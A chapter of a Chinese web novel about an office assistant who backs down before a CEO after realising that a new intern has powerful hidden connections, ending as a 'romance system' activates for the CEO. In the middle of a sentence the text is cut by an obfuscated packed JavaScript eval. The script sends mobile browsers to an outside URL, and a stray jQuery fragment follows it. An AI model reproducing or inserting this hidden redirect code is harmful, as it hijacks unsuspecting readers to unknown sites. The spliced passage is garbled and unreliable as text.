高洁内心一瞬间百转千回。
也没有太多时间可以犹豫,顾总还在那盯着自己呢,这种时候即便不快速回答,也不能把总裁晾在那。
把所有事情都推给实习生?
会出什么问题吗……
算了,来不及细想了,就这么干吧。
“顾总……这件事其实是新……”
“顾总。”
高洁才来得及说一句话,马上就被身后还没离开的徐文喜给打断了。
“顾总,”徐文喜抢着说道,“中午您看饭店定在美嘉乐怎么样,稍微有点超过宴请标准了,但何然老师难得来一次,这要不是正好赶上了,不知道要花多少钱才能请过来,我想稍微超过一点也说得过去。”
顾总那边点了点头:“可以。”
“那我安排人去订位置了。”
徐文喜如此说了一句,离开这里朝着何然和谢巷晚的方向走过去。
不过在临走的时候,不露痕迹的拍了一下高洁胳膊。
高洁一下子恍然惊醒了过来,明白了徐文喜为什么要特意过来问一句中午宴请要怎么搞。
他不是要真的问这件事,他其实是来提醒自己的。
问顾总去哪吃饭只是个幌子而已,主要是最后一句,“不知道要花多少钱才能请过来”。
重点就在这,因为正常情况下,不管花多少钱,都不可能把何然请过来。
这根本不是钱的事。
但现在何然来了,这点毋庸置疑,那就……只能是更高一个层级的力量在发挥作用了。
并且看何然那个样子还挺心甘情愿的,这答案就呼之欲出了:这位实习生的来头很大,非常大,大到超过想象。
甚至仅仅是正常的家境显赫,都不可能做到现在这个程度。
她必然有着更大的来头,只是自己不知道而已……
而这是理所当然的,自己当然不会知道。
自己只是看过她的档案罢了,她的档案非常干净,看起来只是个普普通通的大学应届毕业生,而这也是肯定的,这种出身的大人物,都是想要隐藏真实身份的。
对于她们这种有如此能量的人来说,修改一下档案而已,根本不算是什么麻烦的事情。
只不过这导致自己误判了当下的局面……自己还真以为只是难为了一个普通实习生呢。
幸亏徐文喜反应过来了,并且特意过来提醒了自己。
还好自己的话尚未出口……
高洁一瞬间后怕了起来,后背上冷汗再度湿透衬衫。
这个实习生,作为自己肯定惹不起的一种存在。
如果自己刚刚把过错甩到她的身上,那岂不是闯下了更大的祸事?!
要承担的后果,恐怕远不止现在这点而已!
如果自己因为乱说话把人家得罪狠了,那才是真正的麻烦!万幸现在这件事情目前还有回退的余地……
高洁低头想着,意识到这一点,伸手用袖子抹了抹额头的汗水。
再一抬头,发现顾总的眼神已经从徐文喜那边离开,重新聚焦在自己身上了。
高洁一瞬间觉得自己由内而外的发冷。
“说吧,你继续说。”顾总声音没有任何的温度。
“是……是我做错了,我没想太多。”高洁咬着牙这么说道。
事到如今,这件事情已经没有甩过去的可能性了。
不管后果多严重,都只能自己扛着了。
“对不起,顾总,”高洁低头说道,实在是不敢跟顾总再有眼神接触,“我的错,不会有下次了,我……我昨晚没来得及睡觉,头脑不清醒,我这就去和何然老师道歉。”
“嗯。”
顾总那边声音冷冷的传了过来,不过比刚才已经有所缓和了。
“这个季度的奖金取消,”顾总继续说道,“去帮忙定中午的酒店,然后把实习生的事情弄好,下午就先回去休息吧,你黑眼圈太重了。”
“是,谢……谢谢顾总。”
高洁再度说道,依旧没敢抬起头来,然后就听着身边的木门开启又关闭,再一抬头,眼前的那个男人已经不见了。
高洁这才长出一口气,再度用袖子抹了抹头上的汗。
回头才走几步,正好看见在公司这一层的茶水间休息台前面,何然正客客气气的把一杯咖啡端给谢巷晚……
倒反天罡了。
高洁直感觉自己眼皮子跳了几下,赶紧回去电脑前面,进入集团的内部后台,操作提交了一份人事变动的申请,把谢巷晚的实习身份调整到了二期。
诚盛集团的实习是分为两期的,各半个月时间,视情况延长或减少。
当然通常来说,因为集团内部的要求并不低,尤其是总部这块,经自己手的一般都是因为实习生犯过错而延长实习期。
这还是头一次减少。
“半个月。”
高洁如此想了一下,把申请提交了上去。
这份申请往上面一交,距离自己完成任务的时间,一下子就少了半个月。
自己……距离失去工作,流落街头,也就更加近了半个月。
实际上仔细想的话,也不差这一点了。实习生背景厚到这个地步,即便多给自己半个月,自己能有办法完成让她离职这件事吗……
即便自己有办法,自己有胆子去做吗?
高洁想到这头一阵疼,快速给自己开了一张请假条,请假回家去了。
——
谢巷晚这一上午可以说是非常轻松了。
本来自己就是刚来公司上班,对整栋大楼是人生地不熟,这一点在场三个人都心知肚明。
所以明面上说是自己和徐主管带着何然在公司逛逛,最后落实下来,根本就是徐文喜带着自己和何然在公司里溜达。
甚至因为一些不明所以的原因,
不管是徐文喜还是何然,都对自己还挺客气的,好像今天过来的客人不是何然,反而是自己……
恍惚间谢巷晚都感觉自己回到了大学。
因为上一世的大学,自己是考进了理工科,整个专业这一年级算上自己才不到十个人,所以平时献殷勤的男生非常多。
基本就和当前何然与徐文喜现在似的。
这一切等到中午才算恢复正常,因为在与顾总一起吃过午饭之后,下午自己和徐文喜就不用接待客人了。下午顾总亲自带着何然,不知道去哪玩了,只是让自己和徐文喜一起回了公司。
到公司后,又赫然发现高姐已经请假回去休息了,自己这个部门完全没事情需要做,毕竟总裁和上司都不在,自己一个实习生跟放假了似的,瞬间处于了一个完全没人管的状态里。
倒是高姐在离开之前,留下了一个纸条,上面写了让自己先熟悉一下业务,底下还留了个册子,厚厚实实的,用活页夹子装订在一起。
里面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440123|201025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
全是公司里面的一些规章制度,实习考核的标准,以及日常工作负责范围,还有基础的流程说明。
谢巷晚大概从前到后翻了一圈,发现助理这个岗位还挺枯燥的。
所有的工作安排都是围着总裁的,几乎没有什么“实际”的工作,日常无非是总裁让干什么就去干什么。
大部分工作都是跑腿一类的小杂活,偶尔需要出面跟其他部门沟通一下项目,并且这个真的仅仅是需要沟通一下而已。具体的细则是由总裁和部门主管商定的,助理并没资格参与其中,自己这部分只负责沟通,一切按照规章制度来。
其实等于还是跑腿,只是这次不用出门去弄了,改成了打电话和发微信,或者去其他部门的楼层。
谢巷晚大概翻了一圈,直接就放那懒得看了,没什么意思。
册子里唯一有价值的,还是介绍了考核期标准,以及一个月的实习期分为一二期这个规矩。
一期的实习生只能接触最简单的杂活,或者给高级助理打下手,不允许独自去处理太关键的工作。
而二期的实习生,是朝着正式助理前进了,是可以独自处理一些事情的,只是如果事情总做不好的话,还是会延长实习期,甚至严重的会直接解雇。
当然相对应的,实习期工资也有一定的提升。
谢巷晚大概看了看,到这会才明白,上午顾总说了一句自己直接进入二期是什么意思。
不过这都还只是工作上的事情,至于工作之外……
现在自己对这位顾总很感兴趣,只不过册子上并没任何介绍。
不过这也无所谓,这么大的集团总裁,估计会有百科什么的吧。
谢巷晚如此想着,打开自己的配备的工作电脑,趁着没什么事情做,开始搜起来了顾总的信息。
首先看见的就是名字。
“叫顾朗翰嘛。”谢巷晚这么想着。
——
顾朗翰坐在自己的车里,轻轻揉着太阳穴。
何然的突然出现,稍微打断了一点自己的工作节奏,导致不管是上午的集中处理工作,还是下午带着何然吃喝玩乐一圈,都略微显得有些急迫。
但何然既然都来了,总不好冷落了人家,这种在国际上享有盛誉的艺术家,得罪了他影响的不仅是这一位人脉,也会损害自己和集团在一些圈子里的名声,回头和其他人沟通的成本就也上来了。
无论任何时候,抬高成本都是不值得的。
相比起事后补救,此刻就显示出尊重,争取到对方的人情,无疑是性价比最高的做法。
只是这会终于一切弄完,难免就会有点累了。
同时也有点好奇。
何然为什么会忽然跑过来?
而且根据他的穿着,以及他身上若有若无的汗味。显然何然也是急急忙忙过来的,都没有来得及找个酒店洗澡,换一套正式点的衣服。
再从他在公司的表现来看……
他好像是在追求谢巷晚啊。
虽然这件事说起来有点奇怪,但是反倒可以解释得通大部分事情。
谢巷晚吗……
顾朗翰想到这个名字,下一秒,一道突兀的电子声音在耳边响起。
“恋爱系统加载完毕。”
“任务要求:与谢巷晚达成恋爱关系,且维持至少三十天。”
“任务奖励:诚盛集团市值翻倍,跻身世界前一百公司行列。”